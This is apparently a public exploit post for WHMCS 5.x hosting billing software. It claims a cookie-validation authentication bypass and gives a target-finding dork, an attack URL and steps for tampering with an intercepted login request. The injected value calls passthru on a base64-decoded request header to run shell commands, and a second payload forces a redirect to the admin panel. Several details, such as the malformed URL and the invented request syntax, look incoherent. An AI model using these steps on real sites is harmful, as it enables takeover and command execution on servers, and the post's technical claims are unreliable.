WHMCS 5.x versions suffers from a cookie-validation vulnerability, where sessions can be modified and authentication can be easily bypassed.

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# Description : WHMCS 5.x Authentication Bypass Vulnerability
# Author : Agd_Scorp
# Contact: vorscorp@hotmail.com
# Version : 5.x
# Link : http://www.whmcs.com/order-now/
# Date : Monday, December 31, 2012
# Dork : intext:Powered by WHMCompleteSolution
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Recommended: You must have BEeF or Tamper Data already installed, I do not recommend doing this process manually.

# The Fact:

WHMCS
 5.0 is completely vulnerable to this vulenrability, but in 5.1 version,
 WHMCS has added extra cache-security, so I've added an extra-payload 
for it, you can do the exploitation-process without the payload in the 
5.0 version.


# The Exploitation

http://site.com/whmcs/admin/login.php?correct&cache=1?login=getpost{}

after
 you have successfully entered that into your browser, the page will lag
 for abit due to the cache-validation, which we, ofcourse, will change 
it. ;-)


when the page is loading, quickly open Tamper Data and change the loading POST_SESSION request & the payload to this:

POST: $post(login=1);passthru(base64_decode(\$_SERVER[HTTP_CMD]))&login_cancel;die;";

Payload: $payload = "login=1&title=1&execorder=0&hook=urlencoded&redirect={admin_index}";


# The Result

Once
 you have done this process, you will be automatically be redirected to 
the admin page, although, if the administrator has enabled 
cache-security, this process will fail.

# Solution & Fix

No solution & fix, just wait for the WHMCS team to release a patch for this vulnerability.